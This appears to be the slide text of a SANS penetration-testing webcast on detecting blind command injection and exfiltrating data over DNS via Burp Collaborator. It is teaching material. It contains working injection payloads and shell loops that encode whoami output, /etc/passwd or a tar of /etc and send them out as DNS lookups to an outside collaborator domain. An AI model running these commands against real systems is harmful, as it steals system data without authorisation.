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Thank You

•A copy of these slides (and a list of all links) is available at: 
https://ericconrad.com
oSANS will also archive this webcast and include a link to these slides
•Thanks to  Xavier Mertens (https://twitter.com/xme) for his 

excellent Internet Storm Center post DNS Query Length... 
Because Size Does Matter
ohttps://isc.sans.edu/diary/DNS+Query+Length+Because+Size+Does+Mat

ter/22326
oShortlink: https://sec542.com/ad (link is also on https://ericconrad.com)
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Blind Command Injection

• Command injection vulnerabilities can be quite easy to determine when the 
output is visible:

• Things become a bit trickier when command injection works, but is blind:
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Methods for Determining Blind Injection

• ICMP and DNS are useful tools for determining blind injection
• Pause for ten seconds by pinging 127.0.0.1 eleven times:
o sec542.org; ping -c11 127.0.0.1

o First ping is sent immediately, then ten more follow, one per second

• Ping a host on the internet where the pen tester is running a sniffer:
o Assuming outbound echo requests are unfiltered from the client network

• Use DNS and/or Burp Collaborator (discussed next)
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Using DNS to Determine Blind Injection

•DNS is very useful for determining blind injection:
oIt is less likely to be filtered (compared with ICMP echo 

request)
oWorks via DNS forwarders (meaning direct Internet access is 

not required)
•Penetration testers often register a domain, and host a primary 

name server for this express purpose (plus DNS tunneling):
oA DNS name often costs a few dollars
oA cheap Linux cloud VM  can cost less than $5US/month
•Burp Collaborator makes this simpler, as we will discuss next
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Burp Collaborator

• Burp Collaborator greatly simplifies the use of DNS to 
determine blind injection:
o Go to Burp -> Burp Collaborator Client
o Press "Copy to clipboard" to copy a randomly-generated name
o Enter the following in the vulnerable web application: 
sec542.org; nslookup

o9y4m21cj64ooviso3ysx72bl2rufj.oastify.com

o Press "Poll now" to see if the name was resolved on Burp's DNS server
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Wait, What Happened to burpcollaborator.net?

• If you've used Burp Suite before, you may remember that Burp 
Collaborator previously used burpcollaborator.net
oThat now defaults to oastify.com (burpcollaborator.net still works)
•Why did this change?
oUnless you have configured Burp to use a private Collaborator server, 

Burp Scanner and the Burp Collaborator client will now use oastify.com
for their Collaborator payloads instead of burpcollaborator.net. This will 
help to reduce false negatives, enabling you to identify out-of-band 
vulnerabilities that were previously hidden due to widespread 
blocking of the old domain name.1

•Oastify.com is likely to suffer to same fate
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Blind Data Exfiltration via Burp Collaborator

•Burp Collaborator has a handy feature: you can prepend 
names to the randomly-generated name provided by Burp
•This allows blind exfiltration of data subject to the 

following limitations of DNS names:
oMaximum total DNS request size is 253 bytes 
oMaximum DNS label (aka subdomain/name) size is 63 bytes
oAll characters must be legal in a DNS request: These characters 

include A-Z, a-z, 0-9, and the hyphen (-)1

•A hyphen may not begin or end a label
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Blind Data Exfiltration via Burp Collaborator

•A lot of data will be longer than 63 bytes:
oBut you can break it up and make DNS multiple requests!
•A lot of data will have characters that cannot be used in a DNS 

request, so it’s best to encode the data using a utility native to the 
webserver:
oHex (0123456789ABCDEF) works (but isn't very efficient)
oBase64 (A-Z, a-z, 0-9, +, / and =) doesn't work, due to +, /, and =
• ("=") is used to pad to a four-byte boundary

oBase32 (A-Z, 2-7 and =) almost works, except for those pesky equal signs
• (“=“) is used to pad to an eight-byte boundary
• Strip off the equal signs with tr –d =
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Blind Data Exfiltration via DNS: Howto (Full Description on Next Slide)

• Enter this query in the “Is it alive?” blind command injection page:
o sec542.org;a=$(whoami|base32|tr -d =);nslookup $a.323elwuutiz8557be0nv0h7jiao2cr.oastify.com

• Check the reply description and copy the ‘hostname’:
o O53XOLLEMF2GCCQ.323elwuutiz8557be0nv0h7jiao2cr.oastify.com

• Then type the following:
o echo -n O53XOLLEMF2GCCQ | wc –c

• Need to pad to a 4-byte boundary
o echo O53XOLLEMF2GCCQ= | base32 -d
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Blind Data Exfiltration via DNS: Full Description

• Here’s our bash command: 
o a=$(whoami|base32|tr -d =);nslookup $a.323elwuutiz8557be0nv0h7jiao2cr.oastify.com

• Let’s break it down: run this command: a=$(whoami|base32|tr –d =)
o $(…): the dollar sign and parentheses allow us to run a command (or series of commands) between 

the parentheses and store their output in a variable (a, in this case)
o Run whoami (output is www-data)
o Pipe that to base32 (output is O53XOLLEMF2GCCQ=)
o tr –d = (delete any ”=“ signs)
o $a now contains O53XOLLEMF2GCCQ

• Then run:
o nslookup O53XOLLEMF2GCC.323elwuutiz8557be0nv0h7jiao2cr.oastify.com
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Running a Private Burp Collaborator Server Part 1

•Burp Suite Professional includes the ability to run a 
private Collaborator server
o Requires the Burp Professional jar file, no additional license 

needed
•It's best to use a dedicated server for this purpose
o Any cheap cloud-based Linux VM works fine
o Need to allow a variety of inbound ports, so firewall 

configuration control is important
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Running a Private Burp Collaborator Server Part 2

• It's simpler to use a dedicated domain name for this purpose
o Don't spend more than $10 on a domain name (I bought vogon.me)
o Bonus points: buy an expired domain with a good reputation (check out 

expireddomains.net)
•This typically works with a DNS subdomain dedicated for this 

purpose
oThe primary domain delegates requests to this subdomain
oNote that many DNS providers (such as registrars) do not allow delegation
oRunning your own primary DNS server makes this easier
•The Burp Collaborator server acts as a secondary DNS server (sort 

of)
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Why use a Private Burp Collaborator Server?

•Using oastify.com or burpcollaborator.net means you are sharing 
potentially sensitive information with a third party
oConsider this carefully before using them on a 3rd party penetration test 

(or any sensitive pentest)
oThat being said: penetration testers use these servers all the time
•Running your own server allows:
o Much better logging (and simpler data exfiltration)
o Easier team collaboration
o A persistent Burp Collaborator server that can run for days, weeks, or 

longer
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Transferring More Data

•Assuming blind bash injection: use a while loop (thanks again to 
Xavier):
obase32 -w 63 < /etc/passwd |tr -d = | while read a; 
do dig $a.<burp collaborator address>; done;

o This converts /etc/passwd to base32
o Each base32-encoded line contains 63 characters or less (stored in a 

variable called $a)
o Any trailing "=" signs are removed
o Each line is "resolved" to $a.<burp collaborator address>
•Then parse the logs on your private collaborator server to restore 

the base32 
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Transferring Even More Data

•Gzip a file before sending:
ogzip - < /etc/passwd | base32 -w 63 | base32 -w 63 |tr 
-d = | while read a; do dig $a.<burp collaborator 
address>; done;

•Send a compressed tar archive of an entire directory:
otar czf - /etc | base32 -w 63 | tr -d = | while read a; 
do dig $a.<burp collaborator address> ; done;
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Resulting Private Collaborator Logs
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Announcing DNS-Exfiltrate
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Recover the Data with dns-parse.py

•Send /etc/passwd with this command (shown previously):
obase32 -w 63 < /etc/passwd |tr -d = | while read a; do 
dig $a.<burp collaborator address>; done;

•Recover with dns-parse.py:
odns-parse.py <DNS Name> collaborator.log | base32 –d

•Recover the gzipped file (sent on a previous slide):
odns-parse.py <DNS Name> collaborator.log | base32 -d | 
zcat

•Recover the compressed tar archive (sent on a previous slide):
odns-parse.py <DNS Name> collaborator.log | base32 -d > 
exfiltrated.tgz
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More Options

•You don't need Burp Professional (or Burp 
Collaborator) to exfiltrate data via DNS:
o You can use any DNS server that logs requests
o dns-parse.py can also parse bind query logs
•Or use tcpdump (or any sniffer) on any publicly-
available server (no DNS server required)
o I plan to add PCAP support to dns-parse.py in the 

future
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Demo Time!
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Thank You!

•We discuss and have labs on command injection 
(including blind injection) in Security 542
•And we cover a whole lot more:
oFuzzing, SQL Injection, Insecure Deserialization, XSS, 

CSRF, SSRF, XML External Entities (XXE), JSON 
Web Tokens, BeEF, RFI/LFI, IDOR, etc., etc.
oIncludes a Burp Professional license
•Check out sec542.com 


